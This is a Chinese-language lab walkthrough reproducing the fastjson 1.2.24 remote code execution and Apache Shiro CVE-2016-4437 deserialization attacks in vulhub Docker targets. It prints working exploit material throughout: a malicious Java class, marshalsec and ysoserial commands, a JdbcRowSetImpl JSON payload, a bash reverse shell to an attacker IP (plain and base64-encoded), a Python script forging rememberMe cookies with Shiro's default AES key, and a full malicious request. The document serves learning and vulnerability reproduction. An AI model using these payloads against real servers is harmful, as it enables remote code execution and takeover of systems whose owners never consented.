fastjson_1.2.24和Shiro(CVE-2016-4437)漏洞复现

文章目录

  • 一、fastjson 1.2.24远程命令执行漏洞复现
  • 二、shiro反序列化漏洞(CVE-2016-4437)
    • 1、Shiro漏洞原理
    • 2、手工验证漏洞
    • 3、使用ShiroAttack2

一、fastjson 1.2.24远程命令执行漏洞复现

配置环境:本机java 8环境 + kali操作系统(java8)

cd ./vulhub-master/fastjson/1.2.24-rce/ # 进入目标文件夹
docker-compose up -d # 启动环境

在这里插入图片描述
浏览器访问127.0.0.1:8090.
在这里插入图片描述
将下面代码保存到TouchFile.java中。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

使用javac编译TouchFile.java
在这里插入图片描述
TouchFile.class复制到kali中,并开启http服务。

python -m http.server 4444

在这里插入图片描述
在本机中安装apache-maven-3.9.6-bin.zip,加一个环境变量,就可以用了~
在这里插入图片描述
在这里插入图片描述
下载marshalsec,然后使用mvn clean package -DskipTests命令生成marshalsec-0.0.3-SNAPSHOT-all.jar

在这里插入图片描述
在这里插入图片描述
marshalsec-0.0.3-SNAPSHOT-all.jar复制到kali中,并使用java8运行下面的命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.92.6:4444/#TouchFile" 9999

在这里插入图片描述
在burp中重放下面的数据包:

POST / HTTP/1.1
Host: 192.168.92.6:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.92.6:9999/TouchFile","autoCommit":true}
}

在这里插入图片描述
可以看到rmi端显示:
在这里插入图片描述

到靶机里查看命令是否执行成功,输入命令进入fastjson环境容器执行 bash。

docker ps # 查看容器ID
docker exec -it <container_id> bash # 进入shell环境
cd /tmp & ls # 查看是否存在success文件

在这里插入图片描述
到此,复现成功~

二、shiro反序列化漏洞(CVE-2016-4437)

1、Shiro漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。

故Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

2、手工验证漏洞

简单判断漏洞是否存在:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。
在这里插入图片描述
具体判断漏洞是否存在:
在这里插入图片描述
手工复现
kali开启5555端口监听

nc -lnvp 5555 # kali监听5555端口

反弹shell命令,是为了获取靶机的shell,同时当命令中包含重定向 <、> 和管道符 | 时,需要进行 base64 编码绕过检测(不编码,执行不了,已经试过了~)runtime-exec

bash -i >& /dev/tcp/192.168.92.6/5555 0>&1 # 反弹shell命令,用shiro反序列化漏洞让靶机执行
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}

在这里插入图片描述
执行下面的命令:

git clone https://github.com/frohoff/ysoserial.git # 下载ysoserial-all.jarjava -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}"
# 这串代码的大致意思就是:在kali上搭建一个服务器,监听了7777端口,并且存放了反弹到5555端口的反弹shell,且该反弹shell是通过CommonsCollections5利用链生成的反序列化数据。

注意:这里java版本要用java8。
在这里插入图片描述
生成AES加密=>Base64编码后的rememberMe字段:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java<最好用绝对路径>', '-jar', 'ysoserial-all.jar<最好用绝对路径>'', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

注意:python版本为python2.7;还有用pip2安装pycryptodome,即pip install pycryptodome

在这里插入图片描述
在这里插入图片描述
向目标服务器发送下面的数据包

POST /doLogin HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/login;jsessionid=F02F219A55D5D439A3CC841489816ADF
Cookie: JSESSIONID=F02F219A55D5D439A3CC841489816ADF;rememberMe=mHG+Lu46TyikBy2cgkoOaj3UIdXJytnsFdI4mSd9P5V/cYekTMKeTdmZWfosHFPw9fBw0LpQxALUX3V7uLM4ClTztYsVS/VkumK17LO3M7uUN6tHIcFcy/iFtxCIeRnAYr+fV3MXwrUpgi9nfs9fMWnzv22imiIMXwaj1rYEly9XY9KrKr19MiNx2vAa/DXdvH8wm63XFLROd1iSb8FL9WdHKw60w+fy+jCsKeaibsi6NIJqcoTeePDCq4FFU3yAJh3x7bqThGg5NPpdPCwtQ7KBRiYjOxjs8RSwcydwws9G7DmaJW/2Rzq1dsa9T2aVQUi4kkbhrjSnG/suAW6aGapy4u+wORmduJDS9aIn9NFT9dXqEK4L0iRGPfF6aQ88HFSzT6zBxOVUOis/Tt/s5g==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1username=123&password=123&rememberme=remember-me

在这里插入图片描述
结果:
在这里插入图片描述
在这里插入图片描述
攻击过程复盘
对于攻击者而言,核心就是干了两件事:

  1. 搭建VPS进行JRMPListener,存放反弹shell的payload1,且该payload是恶意的序列化数据;
  2. 将上述VPS进行JRMPListener的地址进行了AES加密和base64编码,构造请求包cookie中的rememberMe字段,向存在漏洞的服务器发送加密编码后的结果payload2。

靶机服务器的沦陷过程:

  1. 接收到请求包payload2,进行base64解码=>AES解密,发现要和一个VPS的JRMP 7777端口进行通信。
  2. 向恶意站点VPS的JRMP 7777进行请求,接收到了到了序列化后的恶意代码(反弹shell到攻击机的6666端口)payload1。
  3. 对payload1执行了反序列化,执行了反弹shell的恶意命令,就此沦陷。

3、使用ShiroAttack2

直接使用工具ShiroAttack2。

  1. 直接爆破密码,注意目标地址要加上协议~
    在这里插入图片描述
  2. 爆破利用链及回显
    在这里插入图片描述
  3. 远程执行命令
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12452.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

webapi路由寻址机制

路由匹配的原则 1、启动 Application_Start 文件夹中有个WebApiConfig 会把路由规则写入一个容器 2、客户端请求时&#xff1a; 请求会去容器匹配&#xff0c;先找到控制器&#xff08;找到满足的&#xff0c;就转下一步了&#xff09;&#xff0c;然后找Action&#xff0c;we…

被动防护不如主动出击

自网络的诞生以来&#xff0c;攻击威胁事件不断涌现&#xff0c;网络攻防对抗已然成为信息时代背景下的一场无硝烟的战争。然而&#xff0c;传统的网络防御技术&#xff0c;如防火墙和入侵检测技术&#xff0c;往往局限于一种被动的敌暗我明的防御模式&#xff0c;面对攻击者无…

第四届辽宁省大学生程序设计竞赛

比赛经历&#xff1a;2024.5.14简单vp了一个小时只写出了签到题4个然后跑路了 补题&#xff1a;感觉其他题有点太抽象了主要补了一题&#xff0c;在区间问题中数据结构的使用 比赛链接[点我即可] 目录 A.欢迎来到辽宁省赛 B.胜率 F.隔板与水槽 H.取石子 L.区间与绝对值 …

NMACDR:基于邻居交互增强和多头注意力机制的跨域推荐模型

基于邻居交互增强和多头注意力机制的跨域推荐模型 湖北民族大学学报-孙克雷、汪盈盈-2023 思路 针对基于映射的跨域推荐模型没有充分关注源域中数据稀疏的用户,导致用户偏好的迁移效率降低的问题,提出本文。 首先,利用邻居用户的交互来增强源域中数据稀疏用户的交互序列,…

RS422一主多从MAX3490

RS422一主多从MAX3490 最近项目用到了RS422一主多从&#xff0c;一个主机4个从机。芯片用的MAX3490&#xff0c;几经折腾&#xff0c;最终只能从一拖4改为一拖2。 主机发送端&#xff0c;从机4个接收端都是正常的&#xff0c;没有问题。波形非常完美&#xff0c;没有太大变形 …

uni-segmented-control插件使用

dcloud插件市场 前端/uniapp 1.HBuildX打开目标项目 2.进入dcloud插件市场下载目标插件 3.看到如下提示(已经可以在目标项目中使用插件啦) 4.项目正式使用

自动驾驶占据感知的综述:信息融合视角

24年5月香港理工的论文“A Survey on Occupancy Perception for Autonomous Driving: The Information Fusion Perspective“。 3D 占据感知技术旨在观察和理解自动驾驶车辆的密集 3D 环境。该技术凭借其全面的感知能力&#xff0c;正在成为自动驾驶感知系统的发展趋势&#x…

JSPfilters过滤技术

1.创建动态web项目 2.创建filters的文件 3.创建主页面 4.配置xml项目 总结构 主页面代码 <% page language"java" contentType"text/html; charsetUTF-8"pageEncoding"UTF-8"%><!DOCTYPE html><html><head><meta cha…

idea2023.3.2版本全局设置maven地址

idea每次新建项目都默认使用了一个user目录下的地址&#xff0c;而不是自己安装的maven地址&#xff0c;每次创建项目后&#xff0c;都要重新从settings中设置一下maven地址。 可以全局修改&#xff1a;首先在File-->Close Project回到idea最开始的界面 然后在Customize里点…

C++语法|深入理解 new 、delete

在开发过程中&#xff0c;非常重要的语法就有我们new和delete&#xff0c;周所周知在C中最为强大的能力就是对内存的控制&#xff0c;所以我们再怎么强调new和delete都不为过 文章目录 1.new和delete基本语法new和malloc的区别是什么&#xff1f;(1)开辟单个元素的内存差别(2)开…

火遍全网的“当当狸智能激光雕刻机L1” 让创意梦想分分钟实现

当当狸首款“桌面级”智能激光雕刻机来袭&#xff0c;千万别错过。 龙年伊始&#xff0c;当当狸就迎来了新品首发——智能激光雕刻机L1。 话不多说&#xff0c;赶快来看~~ 当当狸这款智能激光雕刻机造型美观&#xff0c;设计时尚&#xff0c;堪称激光雕刻机界的颜值天花板~~ …

matlab使用1-基础

matlab使用1-基础 文章目录 matlab使用1-基础1. 界面介绍2. matlab变量3. matlab数据类型4. matlab矩阵操作5. matlab程序结构5.1 顺序结构5.2 循环结构5.3 分支结构 1. 界面介绍 命令行窗口输入&#xff1a;clc 可清除命令行窗口command window的内容 clc命令行窗口输入&…

独家揭秘:亲历清华大学答辩现场,惊喜万分 名校答辩不简单

会议之眼 快讯 五月&#xff0c;对于学术界来说&#xff0c;迎来了答辩的高潮&#xff01;是收获的季节&#xff01;今天&#xff0c;趁着阳光明媚&#xff0c;小编怀揣着对学术探索的无限热情和好奇心&#xff0c;决定亲自踏入中国顶尖学术殿堂——清华大学深圳国际研究生院&…

洁太司检测试剂盒:肝癌早诊新利器,共筑健康未来

随着科技进步及医疗技术的不断创新&#xff0c;人类对疾病的早期诊断和治疗提出了更高的要求。 先思达生物近期推出的“洁太司-寡糖链检测试剂盒”&#xff0c;在原发性肝细胞癌的诊断领域实现了重大突破&#xff0c;获得了国家药品监督管理局&#xff08;NMPA&#xff09;的三…

[牛客网]——C语言刷题day2

答案&#xff1a;B 解析&#xff1a; char *p[10] 是指针数组,数组里存放了10个指针,在64位系统下指针占8个字节,所以sizeof(p) 10 * 8 80. char (*p1)[10]是数组指针,p1是一个指向存放10个char类型的数组的指针,所以sizeof(p1) 8. 答案&#xff1a;B 解析&#xff1a…

【大道至简】官方兼容到android13+的获取系统屏幕高度, statusbar,navBar

android在屏幕高度和app高度&#xff0c;statusbar, navigationbar的高度处理上&#xff0c;迭代了好多版本。 android11&#xff0c; android12都有新的api和过时的api标记。 涉及的api类似如下&#xff1a; windowManager&#xff0c;defaultDisplay, Context.display, Deco…

分布式系统的一致性与共识算法(二)

Consitency 背景 如买最后一张车票&#xff0c;两个售票处分别通过某种方式确认过这张票的存在。这时&#xff0c;两家售票处几乎同时分别来了一个乘客要买这张票&#xff0c;从各自"观察"看来&#xff0c;自己一方的乘客都是先到的&#xff0c;这种情况下&#xf…

思科模拟器学习1--Vlan Trunk

实验说明&#xff1a;将三台电脑的vlan 加到一台交换机里面&#xff0c;为了验证什么是虚拟局域网&#xff0c;把一个设备隔成三个空间&#xff0c;三个电脑互相不能通讯&#xff1b;目的是&#xff1a;vlan 1的通讯不可以向vlan 2传送&#xff0c;就是消息传送互不干扰的&…

解决Android Studio Gradle下载慢的问题

安卓 gradle-7.5-bin.zip 下载慢 https://mirrors.cloud.tencent.com/gradle/7.x.x 找到对应匹配版本 把下载的文件直接复制到 C:\Users\Administrator.gradle\wrapper\dists\gradle-x.x\ 中对应版本目录下&#xff0c;例如需要下载 gradle-2.14.1-all.zip&#xff0c;则下载好…

【Pytorch】torch.nn.conv2d

这个函数和我们之前提到的【Pytorch】6.torch.nn.functional.conv2d的使用的作用相似&#xff0c;都是完成CV领域的卷积操作&#xff0c;这里就不在过多赘述 torch.nn.conv2d的使用 打开pytorch的官方文档&#xff0c;我们可以看到 torch.nn.conv2d包含了若干参数 in_channe…